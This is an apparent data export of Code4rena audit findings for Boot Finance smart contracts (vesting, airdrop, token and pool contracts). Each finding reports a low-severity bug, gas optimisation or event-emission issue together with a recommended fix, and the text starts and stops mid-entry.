// new era _era = _currentEra - 1; _day = daysPerEra; } currentDay = _currentDay; currentEra = _currentEra; emission = _emission; emit NewDay(_currentEra, _currentDay, nextDayTime, mapEraDay_Units[_era][_day], mapEraDay_MemberCount[_era][_day]); } } "}, {"title": "Vesting.revoke is missing a require statement", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/116", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle Reigada # Vulnerability details ## Impact In the Vesting contract, the function revoke() sends the vested tokens to the beneficiary and the remaining tokens that are not vested yet are sent to the multisig address. It makes no sense to allow calling this function once the address has already vested the 100% of the tokens (after 1 year in this case -> uint256 _unlockTimestamp = block.timestamp.add(unixYear);). Basically in this case the function revoke() would behave like a claim() function but doing some extra checks which waste gas (gas paid by the owner of the contract instead of the beneficiary address) and also emitting an extra event -> https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L123 For that reason, it is recommended to add a require statement that handles this case: uint256 index = timelocks[_addr].length - 1; require (block.timestamp < timelocks[_addr][index].releaseTimestamp, 'Account fully vested'); ## Tools Used Manual testing ## Recommended Mitigation Steps It is recommended to add a require statement that handles this case in the Vesting.revoke() function: uint256 index = timelocks[_addr].length - 1; require (block.timestamp < timelocks[_addr][index].releaseTimestamp, 'Account fully vested'); "}, {"title": "Unnecessary require statement in vesting.claim()", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle Reigada # Vulnerability details ## Impact There is an unnecessary require statement in vesting.claim() -> https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L197 This check is already done in https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L186 ## Tools Used Manual testing ## Recommended Mitigation Steps Remove the require statement in the claim() function as it is totally unnecessary. The check is already performed in the function _claimableAmount(address _addr). "}, {"title": "Use of uint256 parameter instead of bool", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/112", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle Reigada # Vulnerability details ## Impact In the contract Vesting, function vest(), the parameter _isRevocable is declared as an uint256 when it is used as a boolean. ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L77 ## Tools Used Manual review ## Recommended Mitigation Steps Declare the parameter _isRevocable as a bool. "}, {"title": "Check ERC20 token `approve()` function return value", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/109", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle Ruhum # Vulnerability details ## Impact With version 4.x of the ERC20 token, the `approve()` function returns a boolean indicating whether it was successful or not. https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#IERC20-approve-address-uint256- Best practice is to either check the return value or use `safeApprove()` / `safeIncreaseAllowance()` which will revert if the operation was unsuccessful https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#SafeERC20-safeApprove-contract-IERC20-address-uint256- ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/AirdropDistribution.sol#L499 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L80 ## Tools Used Manual Analysis ## Recommended Mitigation Steps use `safeApprove()` or `safeIncreaseAllowance()` "}, {"title": "Tokens not recoverable", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/108", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle Reigada # Vulnerability details ## Impact In both airdrop contracts: AirdropDistribution and InvestorDistribution, once all the participants have claimed their tokens, some will remain in the contract due to some imprecision in the calculations. There is no function that allows to substract them which means that those tokens will remain stuck in the contracts forever. I have made the test with just 5 participants: user2, user3, user4, user5 & user6. uint256[5] airdropBalances = [ 4032000, 4032000, 4032000, 4032000, 4032000 ]; >>> 4032000 * 5 20160000 Initially 20160000 tokens were transferred to the contract mockToken.transfer(airdropdist.address, 20160000000000000000000000) After 260 weeks, these were the results: ----------------> mockToken.balanceOf(airdropdist.address) -> 2842805668532461833600 <----------------- mockToken.balanceOf(user2) -> 1209429431659888052289865 vesting.benTotal(user2.address) -> 2822002007206405455343415 mockToken.balanceOf(user3) -> 1209429431659888052289984 vesting.benTotal(user3.address) -> 2822002007206405455343296 mockToken.balanceOf(user4) -> 1209429431659888052289984 vesting.benTotal(user4.address) -> 2822002007206405455343296 mockToken.balanceOf(user5) -> 1209429431659888052289984 vesting.benTotal(user5.address) -> 2822002007206405455343296 mockToken.balanceOf(user6) -> 1209429431659888052289984 vesting.benTotal(user6.address) -> 2822002007206405455343296 As we can see above 2842 tokens remain in the contract and there is no way to retrieve them. ## Tools Used Manual testing / brownie ## Recommended Mitigation Steps Add an onlyOwner function that allows to retrieve all the remaining tokens once all the participants of the airdrop have claimed the whole amount of their rewards. "}, {"title": "Incorrect event parameter used in emit", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/105", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-bootfinance-findings", "body": "Incorrect event parameter used in emit"}, {"title": "Using ++i consumes less gas than i++", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/104", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-bootfinance-findings", "body": "Using ++i consumes less gas than i++"}, {"title": "Airdrop Supply differs", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/99", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle fr0zn # Vulnerability details ## Vulnerability Details On the `AirdropDistribution.sol`, the `airdrop_supply` ([line 462](https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/AirdropDistribution.sol#L462)) value is set to be `20160000`. However, adding all the `airdropBalances` does show that the value should be `20159997` instead. ## Impact This does cause some operations on the contract to mislead in the results. This is more noticed on bigger airdropped accounts. ## Proof of Concept Adding all the `airdropBalances` values do show the difference. ## Tools Used Manual code review ## Recommended Mitigation Steps The `airdrop_supply` should be reflecting the actual airdropped balance without misleading the total amount. Change the value to `20159997`. "}, {"title": "Don't allow swapping the same token", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/89", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-bootfinance-findings", "body": "Don't allow swapping the same token"}, {"title": "Redundant check on claim", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/97", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle fr0zn # Vulnerability details ## Vulnerability Details On the `claim` function ([line 524](https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/AirdropDistribution.sol#L524)) of the `AirdropDistribution.sol` contract, the `validated` check is redundant. The flag is only set when the `validate` function is called. Once validated, the amount will always be different than zero, meaning that the check is not necessary. ## Impact Gas optimization ## Tools Used Manual code review ## Recommended Mitigation Steps The check could be removed for gas optimization. "}, {"title": "Duplicated code and usage of assert", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/96", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle fr0zn # Vulnerability details ## Vulnerability Details The `_available_supply` and `available_supply` functions on the `AirdropDistribution` (lines [601](https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/AirdropDistribution.sol#L601) and [607](https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/AirdropDistribution.sol#L607)) do contain the exact same code. Furthermore, the `assert` check inside those functions should be changed to a require statement since the check is not an invariant and gas refund should take place if the check fails ([SWC-110](https://swcregistry.io/docs/SWC-110)). ## Impact Gas optimization ## Tools Used Manual code review ## Recommended Mitigation Steps The `available_supply` and `_available_supply` functions should be combined into a single public function (public functions can be used internally without any extra gas) or have the public function call the internal implementation and use the private implementation in the contract. The `assert` check in the `available_supply` function should be changed to a require statement since the check is not an invariant. "}, {"title": "Gas optimization on InvestorDistribution.sol", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/94", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle fr0zn # Vulnerability details ## Vulnerability Details The `InvestorDistribution` ([InvestorDistribution.sol](https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol)) contract does contain some statements that could be removed to optimize the gas usage. ## Impact Gas optimization ## Tools Used Manual code review ## Recommended Mitigation Steps - Variable set on [Line 77](https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L77) can be removed since the implicit value is already zero - On lines 106 and 107 ([here](https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L106-L107)), the statement could be changed to a single line containing `delete investors[_investor]`. "}, {"title": "Invalid return value when calculating claimable amount ", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/92", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-bootfinance-findings", "body": "Invalid return value when calculating claimable amount "}, {"title": "State variables could be declared constant", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/88", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle PranavG # Vulnerability details ## Impact State variables that never change can be declared constant. This can greatly reduce gas costs. Examples : airdrop_supply in AirdropDistribution.sol(#462) investors_supply in InvestorDistribution.sol(#33) unixYear in Vesting.sol(#30) ## Recommended Mitigation Steps Add the constant keyword for state variables whose value never change. "}, {"title": "Unnecessary imports", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/91", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "Unnecessary imports"}, {"title": "Vesting contract locks tokens for less time than expected", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/82", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Tokens are locked for 1 day less than specified in spec. ## Proof of Concept The vesting period is calculated here in `unixYear` https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/Vesting.sol#L30 This results in a lockup of 364 days rather than the expected 365. ## Recommended Mitigation Steps Replace line with `uint256 constant private unixYear = 365 days;` "}, {"title": "`GaugeController.commit_transfer_ownership()` emits `CommitOwnership` events when the future admin hasn't changed", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/81", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `GaugeController.commit_transfer_ownership()` emits `CommitOwnership` events when the future admin hasn't changed and left as it was before that transaction. ## Impact There is no reason to emit these `CommitOwnership` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the new future admin is different than the old one. "}, {"title": "`GaugeController.apply_transfer_ownership()` emits `ApplyOwnership` events when the admin hasn't changed", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/80", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `GaugeController.apply_transfer_ownership()` emits `ApplyOwnership` events when the admin hasn't changed and left as it was before that transaction. ## Impact There is no reason to emit these `ApplyOwnership` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the new admin is different than the old one. "}, {"title": "Missing emit of initial `ApplyOwnership` event in `GaugeController.__init__()`", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/79", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `GaugeController.__init__()` (the constructor) sets the initial admin, but it doesn't emit an appropriate `ApplyOwnership` event. ## Impact The users won't know who's the initial admin by searching for the first `ApplyOwnership` event, although they should be able to. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit this event. "}, {"title": "Missing emit of initial `SetAdmin` event in `MainToken.__init__()`", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/78", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `MainToken.__init__()` (the constructor) sets the initial admin, but it doesn't emit an appropriate `SetAdmin` event. ## Impact The users won't know who's the initial admin by searching for the first `SetAdmin` event, although they should be able to. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit this event. "}, {"title": "`LPToken.approve()` emits `Approval` events when the allowance hasn't changed", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/73", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `LPToken.approve()` emits `Approval` events when the allowance hasn't changed and left as it was before that transaction. ## Impact There is no reason to emit these `Approval` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the new allowance is different than the old one. "}, {"title": "`LPToken.transferFrom()` emits `Transfer` events when `_from` equals `_to`", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/71", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `LPToken.transferFrom()` emits `Transfer` events when `_from` equals `_to`. ## Impact There is no reason to emit these `Transfer` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when `_from` doesn't equal `_to`. "}, {"title": "`LPToken.transfer()` and `LPToken.transferFrom()` emit `Transfer` events when the transferred amount is zero", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/70", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The functions `LPToken.transfer()` and `LPToken.transferFrom()` emit `Transfer` events when the transferred amount is zero. ## Impact There is no reason to emit these `Transfer` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the transferred amount is not zero. "}, {"title": "`LPToken.set_minter()` doesn't check that `_minter` doesn't equal zero", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/69", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `LPToken.set_minter()` doesn't check that `_minter` doesn't equal zero before it sets it as the new minter. ## Impact This function can be invoked by mistake with the zero address as `_minter`, causing the system to lose its minter forever, without the option to set a new minter. ## Tool Used Manual code review. ## Recommended Mitigation Steps Check that `_minter` doesn't equal zero before setting it as the new minter. "}, {"title": "`LPToken.__init__()` emits `Transfer` events when the amount minted for `msg.sender` is zero", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/68", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `LPToken.__init__()` (the constructor) emits `Transfer` events when the amount minted for `msg.sender` is zero. ## Impact There is no reason to emit these `Transfer` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the amount minted for `msg.sender` is not zero. "}, {"title": "`MainToken.__init__()` emits `Transfer` events when the amount minted for `msg.sender` is zero (and it is always the case)", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/67", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `MainToken.__init__()` (the constructor) emits `Transfer` events when the amount minted for `msg.sender` is zero. This is always the case, as the value of the constant `INITIAL_SUPPLY` is zero. ## Impact There is no reason to emit these `Transfer` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the amount minted for `msg.sender` is not zero. "}, {"title": "`MainToken.set_mint_multisig()` doesn't check that `_minting_multisig` doesn't equal zero", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/66", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `MainToken.set_mint_multisig()` doesn't check that `_minting_multisig` doesn't equal zero before it sets it as the new `minting_multisig`. ## Impact This function can be invoked by mistake with the zero address as `_minting_multisig`, causing the system to lose its `minting_multisig` forever, without the option to set a new `minting_multisig`. ## Tool Used Manual code review. ## Recommended Mitigation Steps Check that `_minting_multisig` doesn't equal zero before setting it as the new `minting_multisig`. "}, {"title": "`MainToken.set_mint_multisig()` emits `SetMintMultisig` events when `minting_multisig` hasn't changed", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/64", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `MainToken.set_mint_multisig()` emits `SetMintMultisig` events when `minting_multisig` hasn't changed, and left as it was before that transaction. ## Impact There is no reason to emit these `SetMintMultisig` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the new `minting_multisig` is different than the old one. "}, {"title": "`MainToken.set_admin()` emits `SetAdmin` events when the admin hasn't changed", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/63", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `MainToken.set_admin()` emits `SetAdmin` events when the admin hasn't changed and left as it was before that transaction. ## Impact There is no reason to emit these `SetAdmin` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the new admin is different than the old one. "}, {"title": "`MainToken.set_minter()` emits `SetMinter` events when the minter hasn't changed", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/62", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `MainToken.set_minter()` emits `SetMinter` events when the minter hasn't changed and left as it was before that transaction. ## Impact There is no reason to emit these `SetMinter` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the new minter is different than the old one. "}, {"title": "`MainToken.burn()` emits `Transfer` events when the burned amount is zero", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/61", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `MainToken.burn()` emits `Transfer` events when the burned amount is zero. ## Impact There is no reason to emit these `Transfer` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the burned amount is not zero. "}, {"title": "`MainToken.mint()` and `MainToken.mint_dev()` emit `Transfer` events when the minted amount is zero", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/60", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The functions `MainToken.mint()` and `MainToken.mint_dev()` emit `Transfer` events when the minted amount is zero. ## Impact There is no reason to emit these `Transfer` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the minted amount is not zero. "}, {"title": "`MainToken.approve()` emits `Approval` events when the allowance hasn't changed", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/54", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `MainToken.approve()` emits `Approval` events when the allowance hasn't changed and left as it was before that transaction. ## Impact There is no reason to emit these `Approval` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the new allowance is different than the old one. "}, {"title": "`MainToken.transferFrom()` emits `Transfer` events when `_from` equals `_to`", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/52", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `MainToken.transferFrom()` emits `Transfer` events when `_from` equals `_to`. ## Impact There is no reason to emit these `Transfer` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when `_from` doesn't equal `_to`. "}, {"title": "`MainToken.transfer()` and `MainToken.transferFrom()` emit `Transfer` events when the transferred amount is zero", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/51", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The functions `MainToken.transfer()` and `MainToken.transferFrom()` emit `Transfer` events when the transferred amount is zero. ## Impact There is no reason to emit these `Transfer` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the transferred amount is not zero. "}, {"title": "`PoolGauge.withdraw()` emits `Withdraw` events when the withdrawn amount is zero", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/49", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `PoolGauge.withdraw()` emits `Withdraw` events when the withdrawn amount is zero. ## Impact There is no reason to emit these `Withdraw` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the withdrawn amount is not zero. "}, {"title": "`PoolGauge.deposit()` emits `Deposit` events when the deposited amount is zero", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/48", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `PoolGauge.deposit()` emits `Deposit` events when the deposited amount is zero. ## Impact There is no reason to emit these `Deposit` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the deposited amount is not zero. "}, {"title": "`PoolGauge.withdraw()` can be optimized when `_value` equals zero", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `PoolGauge.withdraw()` doesn't have to execute these lines of code when `_value` equals zero: ``` _balance: uint256 = self.balanceOf[msg.sender] - _value _supply: uint256 = self.totalSupply - _value self.balanceOf[msg.sender] = _balance self.totalSupply = _supply self._update_liquidity_limit(msg.sender, _balance, _supply) assert ERC20(self.lp_token).transfer(msg.sender, _value) ``` ## Impact There is no reason to execute these lines of code if `_value` equals zero because they won't affect the system. An identical optimization is already implemented in `PoolGauge.deposit()`. ## Tool Used Manual code review. ## Recommended Mitigation Steps Execute these lines of code only if `_value` doesn't equal zero. "}, {"title": "`Token.approve()` emits `Approval` events when the allowence hasn't changed", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/46", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `Token.approve()` emits `Approval` events when the allowance hasn't changed and left as it was before that transaction. ## Impact There is no reason to emit these `Approval` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the new allowance is different than the old one. "}, {"title": "`Token.transferFrom()` emits `Transfer` events when `_from` equals `_to`", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/44", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The function `Token.transferFrom()` emits `Transfer` events when `_from` equals `_to`. ## Impact There is no reason to emit these `Transfer` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when `_from` doesn't equal `_to`. "}, {"title": "`Token.transfer()` and `Token.transferFrom()` emit `Transfer` events when the transferred amount is zero", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/43", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The functions `Token.transfer()` and `Token.transferFrom()` emit `Transfer` events when the transferred amount is zero. ## Impact There is no reason to emit these `Transfer` events because nothing has changed in the system. Such events are only going to confuse users. ## Tool Used Manual code review. ## Recommended Mitigation Steps Emit these events only when the transferred amount is not zero. "}, {"title": "Array out-of-bounds errors in `USDPoolDelegator`", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/39", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The functions `USDPoolDelegator.balances()`, `USDPoolDelegator.coins()` and `USDPoolDelegator.underlying_coins()` accept an argument called `i` and use it as an index to determine which element in the `_balances` / `_coins` / `_underlying_coins` array should be loaded and returned. However, these functions don't check that the index they receive as an argument actually fits the bounds of the array. ## Impact If the index exceeds the array length, there will be a revert with no informative error message. The user wouldn't know what caused the revert. ## Tool Used Manual code review. ## Recommended Mitigation Steps Add an appropriate require statement to each of these functions to validate that the given argument fits the `_balances` / `_coins` / `_underlying_coins` array bounds. "}, {"title": "Array out-of-bounds errors in `ETHPoolDelegator`", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/38", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The functions `ETHPoolDelegator.balances()` and `ETHPoolDelegator.coins()` accept an argument called `i` and use it as an index to determine which element in the `_balances` / `_coins` array should be loaded and returned. However, these functions don't check that the index they receive as an argument actually fits the bounds of the array. ## Impact If the index exceeds the array length, there will be a revert with no informative error message. The user wouldn't know what caused the revert. ## Tool Used Manual code review. ## Recommended Mitigation Steps Add an appropriate require statement to each of these functions to validate that the given argument fits the `_balances` / `_coins` array bounds. "}, {"title": "Array out-of-bounds errors in `BTCPoolDelegator`", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/37", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details The functions `BTCPoolDelegator.balances()` and `BTCPoolDelegator.coins()` accept an argument called `i` and use it as an index to determine which element in the `_balances` / `_coins` array should be loaded and returned. However, these functions don't check that the index they receive as an argument actually fits the bounds of the array. ## Impact If the index exceed the array length, there will be a revert with no informative error message. The user wouldn't know what caused the revert. ## Tool Used Manual code review. ## Recommended Mitigation Steps Add an appropriate require statement to each of these functions to validate that the given argument fits the `_balances` / `_coins` array bounds. "}, {"title": "No Transfer Ownership Pattern", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/35", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "No Transfer Ownership Pattern"}, {"title": "If statement in _updateEmission() can be removed", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle Reigada # Vulnerability details ## Impact The if statement in _updateEmission() can be removed as the condition is already checked in updateEmission() https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/AirdropDistribution.sol#L596 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L186 ## Proof of Concept function _updateEmission() private { if (block.timestamp >= startEpochTime + RATE_TIME) { miningEpoch += 1; startEpochTime = startEpochTime.add(RATE_TIME); startEpochSupply = startEpochSupply.add(rate.mul(RATE_TIME)); if (miningEpoch < INITIAL_RATE_EPOCH_CUTTOF) { rate = rate.mul(EPOCH_INFLATION).div(100000); } else { rate = 0; } emit updateMiningParameters(block.timestamp, rate, startEpochSupply); } } //Update emission to be called at every step change to update emission inflation function updateEmission() public { require(block.timestamp >= startEpochTime + RATE_TIME, \"Too soon\"); // Condition already checked here _updateEmission(); } ## Tools Used Manual testing ## Recommended Mitigation Steps Remove the if condition in the _updateEmission() private function "}, {"title": "Lack of maximum and minimum vesting amount check on the vesting function", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/32", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle defsec # Vulnerability details ## Impact During the code review, It has been seen maxVesting amount is disabled. However, there is no maximum and minimum vesting amount defined. Users can vest small amount. For the protocol liquditiy calculation maximum and minimum threshold should be defined. ## Proof of Concept 1. Navigate to the following contract. \"\"\" https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L76 \"\"\" 2. Vesting amount didnt check. ## Tools Used Review ## Recommended Mitigation Steps It is suggested to check maximum/minimum vesting amount on the contract. "}, {"title": "Unchecked transfers", "html_url": 